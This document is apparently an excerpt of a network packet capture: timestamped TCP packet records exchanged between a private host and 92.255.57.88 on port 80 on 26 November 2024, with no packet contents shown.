Nov 26, 2024 00:07:29.201764107 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.201817989 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.202594042 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.202640057 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.202779055 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.202822924 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.203593969 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.203639984 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.203739882 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.203784943 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.204587936 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.204641104 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.204755068 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.204801083 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.205609083 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.205626011 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.205657005 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.205672026 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.206610918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.206624031 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.206665993 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.207556009 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.207607031 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.207742929 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.207788944 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.208456039 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.208503962 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.208594084 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.208642006 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.209439993 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.209621906 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.209671021 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.210427046 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.210484028 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.210613012 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.210659027 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.211344004 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.211391926 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.211508036 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.211559057 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.212364912 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.212419987 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.212554932 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.213407040 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.213453054 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.213738918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.213787079 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.213916063 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.213928938 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.213943005 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.213965893 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.213982105 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.215261936 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.215317965 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.216252089 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.216303110 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.216396093 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.216447115 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.217237949 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.217392921 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.217437029 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.242063046 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.242072105 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.242145061 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.242284060 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.242326975 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.242388964 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.242430925 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.243292093 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.243335009 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.243367910 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.243408918 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.244244099 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.244286060 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.244318008 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.244359016 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.245352030 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.245425940 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.245471001 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.246227026 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.246272087 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.246304989 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.246352911 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.247205973 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.247265100 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.247282028 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.247329950 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.248147964 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.248199940 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.248207092 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.248244047 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.249176025 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.249227047 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.249293089 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.250114918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.250170946 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.250207901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.250252962 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.251107931 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.251164913 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.316488981 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.316539049 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.316553116 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.316592932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.316730976 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.316781044 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.316868067 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.316919088 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.317739964 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.317790985 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.317830086 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.317946911 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.318677902 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.318731070 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.318763971 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.318803072 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.319642067 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.319704056 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.319741964 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.319811106 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.320674896 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.320729971 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.320768118 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.320856094 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.321670055 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.321718931 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.321774006 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.321825981 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.322643042 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.322693110 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.322777033 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.322838068 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.323585033 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.323641062 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.323695898 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.323740005 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.324565887 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.324585915 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.324618101 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.324632883 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.325576067 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.325644970 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.325686932 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.325726986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.326577902 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.326631069 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.326648951 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.326689959 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.327508926 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.327560902 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.327598095 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.327632904 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.328507900 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.328560114 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.328634024 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.328676939 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.329468012 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.329478979 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.329509020 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.329523087 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.330463886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.330507994 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.330552101 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.330595970 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.331440926 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.331490993 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.331557035 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.331602097 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.391999960 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.392060995 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.392102957 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.392254114 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.392417908 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.392466068 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.392503023 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.392546892 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.393342018 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.393388987 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.393443108 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.393487930 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.394354105 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.394402027 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.394517899 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.394566059 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.395340919 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.395389080 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.395428896 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.395488024 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.396295071 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.396342993 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.396395922 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.396441936 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.397274017 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.397321939 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.397433043 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.397480011 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.398297071 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.398359060 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.398391008 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.398438931 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.399214983 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.399261951 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.399420977 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.399470091 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.400224924 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.400269032 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.400393963 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.400440931 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.401206970 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.401254892 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.401297092 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.401345968 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.402192116 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.402240038 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.402335882 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.402390957 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.403160095 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.403207064 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.403217077 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.403258085 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.404161930 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.404211044 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.404247999 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.404297113 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.405112982 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.405169964 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.405205965 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.405286074 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.406085968 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.406132936 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.406196117 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.406245947 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.407078981 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.407126904 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.407171965 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.407217979 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.408055067 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.408103943 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.408143997 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.408191919 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.409122944 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.409177065 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.409291029 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.409343004 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.410145998 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.410196066 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.410223007 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.410295963 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.411031961 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.411086082 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.411176920 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.411231995 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.411993980 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.412045956 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.412136078 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.412183046 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.412955046 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.413007021 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.413043022 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.413086891 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.413935900 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.413985968 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.414025068 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.414073944 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.414911032 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.414958954 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.415005922 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.415050030 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.415889025 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.415939093 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.415987015 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.416037083 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.416863918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.416917086 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.416928053 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.416975021 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.443391085 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.443439007 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.443553925 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.443555117 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.443764925 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.443840981 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.443857908 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.443878889 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.444724083 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.444776058 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.444869041 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.444917917 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.445662975 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.445713043 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.445775986 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.445825100 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.446630001 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.446676970 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.446717978 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.446768045 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.447603941 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.447657108 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.447694063 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.447747946 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.448587894 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.448641062 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.448678970 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.448730946 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.449584961 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.449640036 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.449681997 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.449748993 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.450550079 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.450602055 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.450639009 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.450687885 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.451529026 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.451576948 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.451667070 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.451719999 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.452487946 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.452534914 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.517992973 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.518101931 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.518259048 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.518388987 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.518444061 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.518476009 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.518521070 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.519155025 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.519200087 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.519260883 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.519310951 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.520133972 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.520185947 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.520236015 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.520281076 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.521189928 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.521311045 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.521363020 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.522120953 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.522176027 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.522212982 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.522258997 CET	49734	80	192.168.2.4	92.255.57.88
